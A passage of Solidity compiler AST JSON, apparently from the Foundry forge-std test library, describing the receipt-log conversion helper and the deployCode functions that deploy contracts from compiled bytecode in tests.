expression":{"id":5124,"name":"logs","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5005,"src":"18228:4:3","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_ReceiptLog_$3783_memory_ptr_$dyn_memory_ptr","typeString":"struct StdCheatsSafe.ReceiptLog memory[] memory"}},"functionReturnParameters":5000,"id":5125,"nodeType":"Return","src":"18221:11:3"}]},"implemented":true,"kind":"function","modifiers":[],"name":"rawToConvertedReceiptLogs","nameLocation":"17375:25:3","parameters":{"id":4995,"nodeType":"ParameterList","parameters":[{"constant":false,"id":4994,"mutability":"mutable","name":"rawLogs","nameLocation":"17424:7:3","nodeType":"VariableDeclaration","scope":5127,"src":"17401:30:3","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_RawReceiptLog_$3763_memory_ptr_$dyn_memory_ptr","typeString":"struct StdCheatsSafe.RawReceiptLog[]"},"typeName":{"baseType":{"id":4992,"nodeType":"UserDefinedTypeName","pathNode":{"id":4991,"name":"RawReceiptLog","nameLocations":["17401:13:3"],"nodeType":"IdentifierPath","referencedDeclaration":3763,"src":"17401:13:3"},"referencedDeclaration":3763,"src":"17401:13:3","typeDescriptions":{"typeIdentifier":"t_struct$_RawReceiptLog_$3763_storage_ptr","typeString":"struct StdCheatsSafe.RawReceiptLog"}},"id":4993,"nodeType":"ArrayTypeName","src":"17401:15:3","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_RawReceiptLog_$3763_storage_$dyn_storage_ptr","typeString":"struct StdCheatsSafe.RawReceiptLog[]"}},"visibility":"internal"}],"src":"17400:32:3"},"returnParameters":{"id":5000,"nodeType":"ParameterList","parameters":[{"constant":false,"id":4999,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":5127,"src":"17496:19:3","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_ReceiptLog_$3783_memory_ptr_$dyn_memory_ptr","typeString":"struct StdCheatsSafe.ReceiptLog[]"},"typeName":{"baseType":{"id":4997,"nodeType":"UserDefinedTypeName","pathNode":{"id":4996,"name":"ReceiptLog","nameLocations":["17496:10:3"],"nodeType":"IdentifierPath","referencedDeclaration":3783,"src":"17496:10:3"},"referencedDeclaration":3783,"src":"17496:10:3","typeDescriptions":{"typeIdentifier":"t_struct$_ReceiptLog_$3783_storage_ptr","typeString":"struct StdCheatsSafe.ReceiptLog"}},"id":4998,"nodeType":"ArrayTypeName","src":"17496:12:3","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_ReceiptLog_$3783_storage_$dyn_storage_ptr","typeString":"struct StdCheatsSafe.ReceiptLog[]"}},"visibility":"internal"}],"src":"17495:21:3"},"scope":5537,"stateMutability":"pure","virtual":true,"visibility":"internal"},{"id":5159,"nodeType":"FunctionDefinition","src":"18399:416:3","nodes":[],"body":{"id":5158,"nodeType":"Block","src":"18498:317:3","nodes":[],"statements":[{"assignments":[5137],"declarations":[{"constant":false,"id":5137,"mutability":"mutable","name":"bytecode","nameLocation":"18521:8:3","nodeType":"VariableDeclaration","scope":5158,"src":"18508:21:3","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":5136,"name":"bytes","nodeType":"ElementaryTypeName","src":"18508:5:3","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"id":5146,"initialValue":{"arguments":[{"arguments":[{"id":5142,"name":"what","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5129,"src":"18560:4:3","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":5140,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3504,"src":"18549:2:3","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":5141,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"18552:7:3","memberName":"getCode","nodeType":"MemberAccess","referencedDeclaration":12735,"src":"18549:10:3","typeDescriptions":{"typeIdentifier":"t_function_external_view$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) view external returns (bytes memory)"}},"id":5143,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"18549:16:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},{"id":5144,"name":"args","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5131,"src":"18567:4:3","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"},{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"expression":{"id":5138,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"18532:3:3","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":5139,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"18536:12:3","memberName":"encodePacked","nodeType":"MemberAccess","src":"18532:16:3","typeDescriptions":{"typeIdentifier":"t_function_abiencodepacked_pure$__$returns$_t_bytes_memory_ptr_$","typeString":"function () pure returns (bytes memory)"}},"id":5145,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"18532:40:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},"nodeType":"VariableDeclarationStatement","src":"18508:64:3"},{"AST":{"nativeSrc":"18634:79:3","nodeType":"YulBlock","src":"18634:79:3","statements":[{"nativeSrc":"18648:55:3","nodeType":"YulAssignment","src":"18648:55:3","value":{"arguments":[{"kind":"number","nativeSrc":"18663:1:3","nodeType":"YulLiteral","src":"18663:1:3","type":"","value":"0"},{"arguments":[{"name":"bytecode","nativeSrc":"18670:8:3","nodeType":"YulIdentifier","src":"18670:8:3"},{"kind":"number","nativeSrc":"18680:4:3","nodeType":"YulLiteral","src":"18680:4:3","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"18666:3:3","nodeType":"YulIdentifier","src":"18666:3:3"},"nativeSrc":"18666:19:3","nodeType":"YulFunctionCall","src":"18666:19:3"},{"arguments":[{"name":"bytecode","nativeSrc":"18693:8:3","nodeType":"YulIdentifier","src":"18693:8:3"}],"functionName":{"name":"mload","nativeSrc":"18687:5:3","nodeType":"YulIdentifier","src":"18687:5:3"},"nativeSrc":"18687:15:3","nodeType":"YulFunctionCall","src":"18687:15:3"}],"functionName":{"name":"create","nativeSrc":"18656:6:3","nodeType":"YulIdentifier","src":"18656:6:3"},"nativeSrc":"18656:47:3","nodeType":"YulFunctionCall","src":"18656:47:3"},"variableNames":[{"name":"addr","nativeSrc":"18648:4:3","nodeType":"YulIdentifier","src":"18648:4:3"}]}]},"documentation":"@solidity memory-safe-assembly","evmVersion":"shanghai","externalReferences":[{"declaration":5134,"isOffset":false,"isSlot":false,"src":"18648:4:3","valueSize":1},{"declaration":5137,"isOffset":false,"isSlot":false,"src":"18670:8:3","valueSize":1},{"declaration":5137,"isOffset":false,"isSlot":false,"src":"18693:8:3","valueSize":1}],"id":5147,"nodeType":"InlineAssembly","src":"18625:88:3"},{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"id":5154,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":5149,"name":"addr","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5134,"src":"18731:4:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"BinaryOperation","operator":"!=","rightExpression":{"arguments":[{"hexValue":"30","id":5152,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"18747:1:3","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"}],"id":5151,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"18739:7:3","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":5150,"name":"address","nodeType":"ElementaryTypeName","src":"18739:7:3","typeDescriptions":{}}},"id":5153,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"18739:10:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"18731:18:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"537464436865617473206465706c6f79436f646528737472696e672c6279746573293a204465706c6f796d656e74206661696c65642e","id":5155,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"18751:56:3","typeDescriptions":{"typeIdentifier":"t_stringliteral_a8fe98dd1d450e91397ea844d0b9cef01528a963df7b8ac4b93b8aa3ef69cfce","typeString":"literal_string \"StdCheats deployCode(string,bytes): Deployment failed.\""},"value":"StdCheats deployCode(string,bytes): Deployment failed."}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_a8fe98dd1d450e91397ea844d0b9cef01528a963df7b8ac4b93b8aa3ef69cfce","typeString":"literal_string \"StdCheats deployCode(string,bytes): Deployment failed.\""}],"id":5148,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"18723:7:3","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":5156,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"18723:85:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":5157,"nodeType":"ExpressionStatement","src":"18723:85:3"}]},"implemented":true,"kind":"function","modifiers":[],"name":"deployCode","nameLocation":"18408:10:3","parameters":{"id":5132,"nodeType":"ParameterList","parameters":[{"constant":false,"id":5129,"mutability":"mutable","name":"what","nameLocation":"18433:4:3","nodeType":"VariableDeclaration","scope":5159,"src":"18419:18:3","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":5128,"name":"string","nodeType":"ElementaryTypeName","src":"18419:6:3","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":5131,"mutability":"mutable","name":"args","nameLocation":"18452:4:3","nodeType":"VariableDeclaration","scope":5159,"src":"18439:17:3","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":5130,"name":"bytes","nodeType":"ElementaryTypeName","src":"18439:5:3","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"18418:39:3"},"returnParameters":{"id":5135,"nodeType":"ParameterList","parameters":[{"constant":false,"id":5134,"mutability":"mutable","name":"addr","nameLocation":"18492:4:3","nodeType":"VariableDeclaration","scope":5159,"src":"18484:12:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":5133,"name":"address","nodeType":"ElementaryTypeName","src":"18484:7:3","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"18483:14:3"},"scope":5537,"stateMutability":"nonpayable","virtual":true,"visibility":"internal"},{"id":5185,"nodeType":"FunctionDefinition","src":"18821:367:3","nodes":[],"body":{"id":5184,"nodeType":"Block","src":"18901:287:3","nodes":[],"statements":[{"assignments":[5167],"declarations":[{"constant":false,"id":5167,"mutability":"mutable","name":"bytecode","nameLocation":"18924:8:3","nodeType":"VariableDeclaration","scope":5184,"src":"18911:21:3","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":5166,"name":"bytes","nodeType":"ElementaryTypeName","src":"18911:5:3","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"id":5172,"initialValue":{"arguments":[{"id":5170,"name":"what","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5161,"src":"18946:4:3","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":5168,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3504,"src":"18935:2:3","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":5169,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"18938:7:3","memberName":"getCode","nodeType":"MemberAccess","referencedDeclaration":12735,"src":"18935:10:3","typeDescriptions":{"typeIdentifier":"t_function_external_view$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) view external returns (bytes memory)"}},"id":5171,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"18935:16:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},"nodeType":"VariableDeclarationStatement","src":"18911:40:3"},{"AST":{"nativeSrc":"19013:79:3","nodeType":"YulBlock","src":"19013:79:3","statements":[{"nativeSrc":"19027:55:3","nodeType":"YulAssignment","src":"19027:55:3","value":{"arguments":[{"kind":"number","nativeSrc":"19042:1:3","nodeType":"YulLiteral","src":"19042:1:3","type":"","value":"0"},{"arguments":[{"name":"bytecode","nativeSrc":"19049:8:3","nodeType":"YulIdentifier","src":"19049:8:3"},{"kind":"number","nativeSrc":"19059:4:3","nodeType":"YulLiteral","src":"19059:4:3","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"19045:3:3","nodeType":"YulIdentifier","src":"19045:3:3"},"nativeSrc":"19045:19:3","nodeType":"YulFunctionCall","src":"19045:19:3"},{"arguments":[{"name":"bytecode","nativeSrc":"19072:8:3","nodeType":"YulIdentifier","src":"19072:8:3"}],"functionName":{"name":"mload","nativeSrc":"19066:5:3","nodeType":"YulIdentifier","src":"19066:5:3"},"nativeSrc":"19066:15:3","nodeType":"YulFunctionCall","src":"19066:15:3"}],"functionName":{"name":"create","nativeSrc":"19035:6:3","nodeType":"YulIdentifier","src":"19035:6:3"},"nativeSrc":"19035:47:3","nodeType":"YulFunctionCall","src":"19035:47:3"},"variableNames":[{"name":"addr","nativeSrc":"19027:4:3","nodeType":"YulIdentifier","src":"19027:4:3"}]}]},"documentation":"@solidity memory-safe-assembly","evmVersion":"shanghai","externalReferences":[{"declaration":5164,"isOffset":false,"isSlot":false,"src":"19027:4:3","valueSize":1},{"declaration":5167,"isOffset":false,"isSlot":false,"src":"19049:8:3","valueSize":1},{"declaration":5167,"isOffset":false,"isSlot":false,"src":"19072:8:3","valueSize":1}],"id":5173,"nodeType":"InlineAssembly","src":"19004:88:3"},{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"id":5180,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":5175,"name":"addr","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5164,"src":"19110:4:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"BinaryOperation","operator":"!=","rightExpression":{"arguments":[{"hexValue":"30","id":5178,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"19126:1:3","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"}],"id":5177,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"19118:7:3","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":5176,"name":"address","nodeType":"ElementaryTypeName","src":"19118:7:3","typeDescriptions":{}}},"id":5179,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"19118:10:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"19110:18:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"537464436865617473206465706c6f79436f646528737472696e67293a204465706c6f796d656e74206661696c65642e","id":5181,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"19130:50:3","typeDescriptions":{"typeIdentifier":"t_stringliteral_f6ca2d254da27f2f7b444314e77be236e782a4d81876827dbe8fe7dcea90b371","typeString":"literal_string \"StdCheats deployCode(string): Deployment failed.\""},"value":"StdCheats deployCode(string): Deployment failed."}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_f6ca2d254da27f2f7b444314e77be236e782a4d81876827dbe8fe7dcea90b371","typeString":"literal_string \"StdCheats deployCode(string): Deployment failed.\""}],"id":5174,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"19102:7:3","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":5182,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"19102:79:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":5183,"nodeType":"ExpressionStatement","src":"19102:79:3"}]},"implemented":true,"kind":"function","modifiers":[],"name":"deployCode","nameLocation":"18830:10:3","parameters":{"id":5162,"nodeType":"ParameterList","parameters":[{"constant":false,"id":5161,"mutability":"mutable","name":"what","nameLocation":"18855:4:3","nodeType":"VariableDeclaration","scope":5185,"src":"18841:18:3","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":5160,"name":"string","nodeType":"ElementaryTypeName","src":"18841:6:3","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"18840:20:3"},"returnParameters":{"id":5165,"nodeType":"ParameterList","parameters":[{"constant":false,"id":5164,"mutability":"mutable","name":"addr","nameLocation":"18895:4:3","nodeType":"VariableDeclaration","scope":5185,"src":"18887:12:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":5163,"name":"address","nodeType":"ElementaryTypeName","src":"18887:7:3","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"18886:14:3"},"scope":5537,"stateMutability":"nonpayable","virtual":true,"visibility":"internal"},{"id":5220,"nodeType":"FunctionDefinition","src":"19250:439:3","nodes":[],"body":{"id":5219,"nodeType":"Block","src":"19362:327:3","nodes":[],"statements":[{"assignments":[5198],"declarations":[{"constant":false,"id":5198,"mutability":"mutable","name":"bytecode","nameLocation":"19385:8:3","nodeType":"VariableDeclaration","scope":5219,"src":"19372:21:3","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":5197,"name":"bytes","nodeType":"ElementaryTypeName","src":"19372:5:3","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"id":5207,"initialValue":{"arguments":[{"arguments":[{"id":5203,"name":"what","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5188,"src":"19424:4:3","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":5201,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3504,"src":"19413:2:3","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":5202,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"19416:7:3","memberName":"getCode","nodeType":"MemberAccess","referencedDeclaration":12735,"src":"19413:10:3","typeDescriptions":{"typeIdentifier":"t_function_external_view$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) view external returns (bytes memory)"}},"id":5204,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"19413:16:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},{"id":5205,"name":"args","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5190,"src":"19431:4:3","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"},{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"expression":{"id":5199,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"19396:3:3","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":5200,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"19400:12:3","memberName":"encodePacked","nodeType":"MemberAccess","src":"19396:16:3","typeDescriptions":{"typeIdentifier":"t_function_abiencodepacked_pure$__$returns$_t_bytes_memory_ptr_$","typeString":"function () pure returns (bytes memory)"}},"id":5206,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"19396:40:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},"nodeType":"VariableDeclarationStatement","src":"19372:64:3"},{"AST":{"nativeSrc":"19498:81:3","nodeType":"YulBlock","src":"19498:81:3","statements":[{"nativeSrc":"19512:57:3","nodeType":"YulAssignment","src":"19512:57:3","value":{"arguments":[{"name":"val","nativeSrc":"19527:3:3","nodeType":"YulIdentifier","src":"19527:3:3"},{"arguments":[{"name":"bytecode","nativeSrc":"19536:8:3","nodeType":"YulIdentifier","src":"19536:8:3"},{"kind":"number","nativeSrc":"19546:4:3","nodeType":"YulLiteral","src":"19546:4:3","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"19532:3:3","nodeType":"YulIdentifier","src":"19532:3:3"},"nativeSrc":"19532:19:3","nodeType":"YulFunctionCall","src":"19532:19:3"},{"arguments":[{"name":"bytecode","nativeSrc":"19559:8:3","nodeType":"YulIdentifier","src":"19559:8:3"}],"functionName":{"name":"mload","nativeSrc":"19553:5:3","nodeType":"YulIdentifier","src":"19553:5:3"},"nativeSrc":"19553:15:3","nodeType":"YulFunctionCall","src":"19553:15:3"}],"functionName":{"name":"create","nativeSrc":"19520:6:3","nodeType":"YulIdentifier","src":"19520:6:3"},"nativeSrc":"19520:49:3","nodeType":"YulFunctionCall","src":"19520:49:3"},"variableNames":[{"name":"addr","nativeSrc":"19512:4:3","nodeType":"YulIdentifier","src":"19512:4:3"}]}]},"documentation":"@solidity memory-safe-assembly","evmVersion":"shanghai","externalReferences":[{"declaration":5195,"isOffset":false,"isSlot":false,"src":"19512:4:3","valueSize":1},{"declaration":5198,"isOffset":false,"isSlot":false,"src":"19536:8:3","valueSize":1},{"declaration":5198,"isOffset":false,"isSlot":false,"src":"19559:8:3","valueSize":1},{"declaration":5192,"isOffset":false,"isSlot":false,"src":"19527:3:3","valueSize":1}],"id":5208,"nodeType":"InlineAssembly","src":"19489:90:3"},{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"id":5215,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":5210,"name":"addr","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5195,"src":"19597:4:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"BinaryOperation","operator":"!=","rightExpression":{"arguments":[{"hexValue":"30","id":5213,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"19613:1:3","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"}],"id":5212,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"19605:7:3","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":5211,"name":"address","nodeType":"ElementaryTypeName","src":"19605:7:3","typeDescriptions":{}}},"id":5214,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"19605:10:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"19597:18:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"537464436865617473206465706c6f79436f646528737472696e672c62797465732c75696e74323536293a204465706c6f796d656e74206661696c65642e","id":5216,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"19617:64:3","typeDescriptions":{"typeIdentifier":"t_stringliteral_b17e0074adb88d93215aea54607c780b63b16eef6aef31eb92005d5de3508fa0","typeString":"literal_string \"StdCheats deployCode(string,bytes,uint256): Deployment failed.\""},"value":"StdCheats deployCode(string,bytes,uint256): Deployment failed."}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_b17e0074adb88d93215aea54607c780b63b16eef6aef31eb92005d5de3508fa0","typeString":"literal_string \"StdCheats deployCode(string,bytes,uint256): Deployment failed.\""}],"id":5209,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"19589:7:3","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":5217,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"19589:93:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":5218,"nodeType":"ExpressionStatement","src":"19589:93:3"}]},"documentation":{"id":5186,"nodeType":"StructuredDocumentation","src":"19194:51:3","text":"@dev deploy contract with value on construction"},"implemented":true,"kind":"function","modifiers":[],"name":"deployCode","nameLocation":"19259:10:3","parameters":{"id":5193,"nodeType":"ParameterList","parameters":[{"constant":false,"id":5188,"mutability":"mutable","name":"what","nameLocation":"19284:4:3","nodeType":"VariableDeclaration","scope":5220,"src":"19270:18:3","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":5187,"name":"string","nodeType":"ElementaryTypeName","src":"19270:6:3","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":5190,"mutability":"mutable","name":"args","nameLocation":"19303:4:3","nodeType":"VariableDeclaration","scope":5220,"src":"19290:17:3","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":5189,"name":"bytes","nodeType":"ElementaryTypeName","src":"19290:5:3","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"},{"constant":false,"id":5192,"mutability":"mutable","name":"val","nameLocation":"19317:3:3","nodeType":"VariableDeclaration","scope":5220,"src":"19309:11:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":5191,"name":"uint256","nodeType":"ElementaryTypeName","src":"19309:7:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"19269:52:3"},"returnParameters":{"id":5196,"nodeType":"ParameterList","parameters":[{"constant":false,"id":5195,"mutability":"mutable","name":"addr","nameLocation":"19356:4:3","nodeType":"VariableDeclaration","scope":5220,"src":"19348:12:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":5194,"name":"address","nodeType":"ElementaryTypeName","src":"19348:7:3","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"v